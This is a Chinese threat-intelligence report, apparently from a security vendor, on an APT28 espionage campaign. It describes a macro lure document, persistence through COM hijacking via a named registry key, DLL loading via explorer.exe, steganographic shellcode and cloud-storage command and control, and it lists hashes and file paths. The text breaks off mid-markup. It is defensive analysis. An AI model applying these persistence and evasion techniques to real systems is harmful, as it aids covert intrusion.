mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">PT-C-20（APT28）也被称为Fancy Bear，是一支顶尖国家级黑客组织，自2004年起长期针对某国家及全球政府机构实施网络间谍活动；该组织以发起影响国际政治的“入侵与泄露”行动而闻名，技术上擅长利用鱼叉式钓鱼、水坑攻击、零日漏洞等多种手段进行中间人攻击和凭据窃取，是目前全球最具威胁性的网络信息战力量之一。</span></p></div></div></div></div></div></div><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;"><span leaf="">一、概述</span></span></strong></p></div></div></div></div></div><div data-role="paragraph"><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">近期360高级威胁研究院在对</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">APT-C-20</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">组织的持续跟踪过程中发现,该组织用携带恶意宏的诱饵文档作为初始载体，宏代码执行后，会从文档内部解析并释放恶意组件，随后利用COM劫持建立用户级持久化机制，并借助资源管理器初始化COM对象的过程触发恶意DLL加载。加载后的核心模块进一步从经过隐写处理的图片资源中提取并执行Shellcode，最终在内存中构建基于合法云存储平台Filen.io的隐蔽控制框架，实现无文件化驻留与远程控制能力。</span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;"><span leaf="">二、攻击活动分析</span></span></strong></p></div></div></div></div></div></div></div><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">1. </span></span><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">攻击流程分析</span></span></h2><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">APT-C-20组织用携带VBA宏的恶意文档作为初始入口，通过借助文档Shape对象的坐标操控实施视觉欺骗以规避用户察觉，随后从文档内部剥离并释放恶意组件，然后利用COM劫持实现持久化，并通过隐蔽启动explorer.exe触发侧面加载执行恶意DLL。核心DLL从LSB隐写图片中提取shellcode并执行，再以内存反射加载方式启动后续 C#木马模块，完成最终恶意载荷部署。</span><o:page></o:page></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4308617234468938" data-w="998" style="width:553.739990234375px;height:238.60000610351562px;" src="https://wechat2rss.xlab.app/img-proxy/?k=af19e1bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJicKFl7QBhToxibBlExPzUxxeetvYEuvCqKhEGF69go99uKE3c081dgMdRhdnvoLibLkDM2KNoyfoGZvOG7nadVoSXxekla447mA%2F640%3Fwx_fmt%3Dpng"/></span></span></p><h2 style=""><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">2. </span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">载荷投递分析</span></span></h2><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">本次攻击行动中，我们捕获到</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">APT-C-20</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">组织多个攻击样本，以其中一个进行分析说明，如下所示：</span></p><table style="width:558px;"><tbody><tr><td data-colwidth="126" style="border-color:#000000;"><p style="text-align: left;"><span leaf=""> MD5</span></p></td><td data-colwidth="432" style="border-color:#000000;"><p><span leaf="">77014b3e77529079f041b5b9e73a013b</span></p></td></tr><tr><td data-colwidth="126" style="border-color:#000000;"><p style="text-align: left;"><span leaf="">文件类型</span></p></td><td data-colwidth="432" style="border-color:#000000;"><p><span leaf="">readme.docm</span></p></td></tr><tr><td data-colwidth="126" style="border-color:#000000;"><p><span leaf="">文件大小</span></p></td><td data-colwidth="432" style="border-color:#000000;"><p><span leaf="">469字节</span></p></td></tr></tbody></table><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">readme.docm</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">是一个携带宏代码的恶意文件，打开文档时显示乱码，提醒用户启用宏以查看完整内容，</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">如下所示。</span><o:page></o:page></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5161538461538462" data-w="1300" style="width: 511.14px;height: 263.82px;" src="https://wechat2rss.xlab.app/img-proxy/?k=19700efa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIpEiaFC67wlq0YUmqyH4UHegyR1m52H9sJNeJkvnrjV8j0JasZbXQLl9zBCNByicpiceFhDibwqltGmwPaSoO954j7LsWOWA6XibnQ%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">点击启用宏后显示东欧某国国防部相关诱饵主题内容，如下所示：</span></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.2864583333333333" data-w="576" style="width:387.47003173828125px;height:498.489990234375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e302876b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXK7vurdF4vSUMcc2N8OB5fP6YficwHuuk6TYmAG4X7IXTVHwTB1R3aNIE6koDRy3wxaS0O37bz0KkD4M32V71oNr5PYPKMnlmQU%2F640%3Fwx_fmt%3Dpng"/> </span></span></p><p style="text-indent:28.0pt;mso-char-indent-count:2.0;mso-char-indent-size:14.0;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;mso-font-kerning:0.0pt;"><span leaf="" style="text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">为防止宏代码被查看，</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">APT-C-20</span><span leaf="" style="text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">组织还对宏代码进行了加密。</span></span><o:page></o:page></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.646551724137931" data-w="348" style="width:347.89996337890625px;height:224.94000244140625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=6fb7747f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJSlATfd6ecW1QK8ExcFTia4vbxcpGTOJIgLnnWxt4GWNr1XD5puiaRN3uTOkaNoE42ZMEI6b73BicU7np2UIiaLrAnRWcV8kS7I0M%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">破解宏保护密码后发现其在宏打开阶段主要进行环境检测+文件释放+持久化设置+信息收集+诱饵内容显示，在文档关闭阶段才触发恶意流程和文档还原。</span></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6726998491704375" data-w="663" style="width:553.739990234375px;height:372.53997802734375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=21cdd755&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKMp8728YMbTlaNvR67qtJia9v33Ys6ia4mibWEsAn9Wn0CCbMoqX8IqkcBya0lTukAngq5qkR9M40xI2WQBiaY7zkDbicWYqeMIE3E%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">具体来看，在文档打开阶段，首先与dropbox.com进行网络链接进行网络侦察。</span><o:page></o:page></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.29397590361445786" data-w="415" style="width:414.77996826171875px;height:121.94000244140625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f0ac58d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLWfAI4lfqjZA5Rx8WYPZtcXLLm8Qfvjtqxu2RMaqkjS0uqhz0gLLM1TVgvFeE297TN25OVe4Wd8TnEvGyNE6CbbQQibuZyR7LQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">然后将自身改名并复制到temp目录。</span></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3707440100882724" data-w="793" style="width:553.739990234375px;height:205.26998901367188px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8e259eb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKuaafv4X7NEMI4pwMDUwCI6djLtvia6y6TN6L5iaBwfFdU0HCcicUqItJFKJtkJic9NQrLFYcdd5H5Q3aNKKCicgDVWyW4O2MicMSSQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">随后从自身中读取数据释放文件%PROGRAMDATA%\Microsoft\DeviceSync\DNX\dnxstore.dll和%PROGRAMDATA%\Microsoft\DeviceSync\EdgeSync\EdgeLogo.png。并设置注册表HKEY_CURRENT_USER\Software\Classes\CLSID\{68DDBB56-9D1D-4FD9-89C5-C0DA2A625392}\InProcServer32指向dnxstore.dll完成com劫持。</span></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4362880886426593" data-w="722" style="width:553.739990234375px;height:241.60003662109375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=70872815&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXL7yPLllLKEPn90urEtmExQmGZa2SnCTfK5czibgLZmGU63RTIkJYoZRcbhyWtqKjS2GYcbSKQSlek11NZd4k9Gw2s59fUShOwQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">接着收集信息包括：判断32/64位环境、Office版本、C:\Program Files目录名（已安装软件列表）并采用单字节0x4A加密写入隐藏文本框。</span><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.671664167916042" data-w="667" style="width:553.739990234375px;height:371.94000244140625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=16747bff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXL9VPtroibxuUlxt9KX54XtByzEMONvcVtErgeuUnB10bicB19hAkPUblMklr2aE9Yp6NzPiaELdiab1HSmhiclgVxydEzTZepRcpSE%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">最后显示诱饵文档，切换文档显示状态（显示伪装内容），通过操控文档内特定Shape对象的可见性与坐标属性（如将 Left 属性设为-999996 移出可视区），隐藏打开时的诱饵页面，显示正常内容，降低用户警惕。</span></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5161290322580645" data-w="310" style="width:309.79998779296875px;height:160.0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c16502f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXK6WMZx0pEU5CIBW3IvTRHIicXg7z49S0s2eQ04QGibMrQ29s0wkC55kiazkibuLl4qJEgYeFlMtUxrJsR0xGGoJ2lAFIJXes4p0kQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在文档关闭阶段完成载荷激活与清理。</span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">不直接调用 regsvr32 等高危程序，而是调用 kernel32.dll 的 CreateProcessW函数，配置STARTUPINFO结构体令wSW = 0 (隐藏窗口)，隐蔽启动 %WINDIR%\system32\explorer.exe。从而侧面加载资源管理器(explorer.exe)，由于资源管理器在启动和初始化过程中会大量请求系统COM组件。此操作直接触发前序被劫持的 CLSID，使得 dnxstore.dll顺理成章地被系统合法进程加载至内存中运行。</span><o:page></o:page></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3079777365491651" data-w="539" style="width:538.739990234375px;height:166.39999389648438px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8138c001&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXL0F1URlagvDhsKXSJu8xJEPmibC3PxOcQ6Jwz8NaHWDS1961822NT6a5ibz2Db65cvgDXQLzT6wibwB0SRiadFNrx8TC9ZFEia5BBs%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">最后再次通过动态修改Shape的Visible与Left属性切换显示内容，将此前隐藏的对象重新置为可见，并隐藏正常诱饵内容。该机制可确保文档在后续再次打开时仍保持初始伪装状态，从而实现诱饵内容恢复、恶意载荷隐藏以及对静态分析与取证行为的规避。</span></p><h2 style=""><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-weight: bold;">3.攻击组件分析</span></span></h2><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">攻击组件信息如下：</span></p><table style="width:567px;"><tbody><tr><td data-colwidth="147" style="border-color:#000000;"><p><span leaf="">MD5</span></p></td><td data-colwidth="420" style="border-color:#000000;"><p><span leaf="">b077401fe3d9642345d4c3deafa60aa5</span></p></td></tr><tr><td data-colwidth="147" style="border-color:#000000;"><p><span leaf="">文件类型</span></p></td><td data-colwidth="420" style="border-color:#000000;"><p><span leaf="">dnxstore.dll</span></p></td></tr><tr><td data-colwidth="147" style="border-color:#000000;"><p><span leaf="">文件大小</span></p></td><td data-colwidth="420" style="border-color:#000000;"><p><span leaf="">227 KB (232,960 字节)</span></p></td></tr><tr><td data-colwidth="147" style="border-color:#000000;"><p><span leaf="">Timestamp</span></p></td><td data-colwidth="420" style="border-color:#000000;"><p><span leaf="">2026-04-16 04:21:47</span></p></td></tr></tbody></table><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">dnxstore.dll是一个shellcode加载器，首先通过自定义的加解密算法，动态获取导出函数，有效规避静态查杀。通过将dnxstore模块中的DllCanUnloadNow和DllGetClassObject函数转发到系统模块stobject.dll中，避免程序崩溃，增强程序健壮性。</span><o:page></o:page></p><p style="text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" 